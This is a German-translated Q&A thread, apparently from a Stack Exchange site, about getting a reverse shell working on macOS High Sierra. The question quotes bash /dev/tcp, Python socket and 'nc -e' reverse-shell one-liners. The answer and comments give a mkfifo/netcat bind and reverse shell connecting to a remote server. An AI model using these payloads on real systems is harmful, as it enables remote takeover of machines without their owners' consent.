Reverse Shell mit High Sierra erstellen?

Ich versuche, mit High Sierra einen Reverse-Shell-Listener zu erstellen, aber nichts scheint zu funktionieren.

Der Bash-Befehl hängt einfach im Terminal und läuft ab.

bash -i >& /dev/tcp/0.0.0.0/8080 0>&1

Die Python-Befehlsfehler mit „Verbindung verweigert“ bei Verwendung von Python oder Python v2.7.

python -c 'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("0.0.0.0",8080));os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

die netcat-Befehlsfehler mit „nc: ungültige Option -e“

nc -e /bin/bash 0.0.0.0 8080

Ich habe andere Lösungen ausprobiert, die ich online gefunden habe, aber Sie bekommen die Idee ...

Ist es möglich, mit High Sierra eine Reverse-Shell (vorzugsweise mit Zugriff auf Bash) zu erstellen?

Spezifikationen:

sh-3.2# system_profiler SPSoftwareDataType 
Software:

    System Software Overview:

      System Version: macOS 10.13.4 (17E199)
      Kernel Version: Darwin 17.5.0
      Boot Volume: lily
      Boot Mode: Normal
      Computer Name: lily’s MacBook Air
      User Name: System Administrator (root)
      Secure Virtual Memory: Enabled
      System Integrity Protection: Enabled
      Time since boot: 2:03

Antworten (1)

Wenn ich das richtig verstehe, möchten Sie von einer externen Quelle über etwas wie netcat (nc) eine Verbindung zu Ihrem High Sierra-Computer herstellen, Befehle an bash senden und die Antwort anzeigen.

Es gibt sicherere und einfachere Möglichkeiten, dies mit ssh zu tun, aber vorausgesetzt, dies ist eine Art Experiment oder Entwicklungstrick, hier ist, wie Sie das tun können, was Sie verlangen.

Meine Antwort basiert auf einer Antwort, die ich an anderer Stelle auf SE ( https://superuser.com/a/607855 ) gefunden habe, die wiederum auf anderen SO/SE-Antworten basiert.

Machen Sie zuerst ein Fifo:

mkfifo myfifo

Starten Sie dann 'nc' mit dem Fifo als Eingabe, leiten Sie seine Ausgabe an bash weiter und leiten Sie die Ausgabe von bash an das fifo um:

nc -l 127.0.0.1 8080 < myfifo | /bin/bash -i > myfifo 2>&1

(Das '-i'-Flag für Bash zeigt eine interaktive Shell an und ist für diesen Anwendungsfall möglicherweise nicht wünschenswert.)

Vom Remote-Gerät (in meinen Tests von mir selbst):

nc 127.0.0.1 8080

Wenn Sie die Rollen umkehren möchten, dh die High Sierra-Maschine stellt die Verbindung zum entfernten Gerät her und gewährt dem entfernten Gerät Zugriff auf Bash auf dem HS-Host, würden Sie das Listen-Flag (-l) verschieben. Das Remote-Gerät würde also netcat zuerst im Listen-Modus starten:

nc -l 127.0.0.1 8080

Dann würde sich der High Sierra-Host mit dem Remote-Gerät verbinden:

nc 127.0.0.1 8080 < myfifo | /bin/bash -i > myfifo 2>&1
Das ist wunderbar, danke. Wenn Sie Zeit haben, können Sie kurz erklären, was "mkfifo" genau ist/macht? Ich habe mir das Fifo-Handbuch mit angesehen, man mkfifoaber ich verstehe immer noch nicht ganz, was ein Fifo ist, sorry!
@lily Es erstellt eine benannte Pipe, die im Grunde dasselbe ist, |aber mit einem Namen, auf den Sie später verweisen/verwenden können. Betrachten Sie es als einen benannten Kanal, durch den Daten geleitet werden.
fifo = First In, First Out.. eine Warteschlange. Das Pipe-Zeichen " | " ist eine vereinfachte Möglichkeit, dasselbe zu tun. Da wir den umgekehrten Weg (Ausgabe der bash zurück zur Eingabe von nc) nicht mit der Pipe " | " oder mit Weiterleitungen erreichen können, haben wir das Fifo verwendet. Wir hätten zwei FIFOs für beide verwenden können, wenn wir wollten.
@BryanScott danke für deine Hilfe dabei. Ich habe einige Probleme beim Umkehren der Rollen (High Sierra stellt eine Verbindung zum entfernten Debian-Server her). Ich habe netcat auf dem Server mit gestartet $ nc -l 0.0.0.0 8080, aber bemerkt, dass das Weglassen von -pnc einen zufälligen Port öffnet, also tue ich es nc -l 0.0.0.0 -p 8080. dann, von meinem high sierra laptop $ nc vps-ip-address 8080 < myfifo | /bin/bash -i > myfifo 2>&1aber das terminal fehlert sofort mit:invalid connection to [vps-ip-address] from () [mac-ip-address] 49247:
eine Ahnung was ich hier falsch mache? Ich weiß, dass die Verwendung von ssh sicherer ist, aber bitte mach mir einen Gefallen, ich habe Spaß daran, netcat zu lernen
Ich habe dies gerade in meinem lokalen Netzwerk versucht und erhalte den gleichen "Ungültiger Verbindungsfehler" :(
Ich glaube, ich habe es herausgefunden. vom Debian-Server schien das Weglassen der Listen-Adresse (0.0.0.0) das Problem zu lösen.$ nc -l -p 8080
Ja, Sie könnten auch die öffentlich zugängliche IP des vps angeben.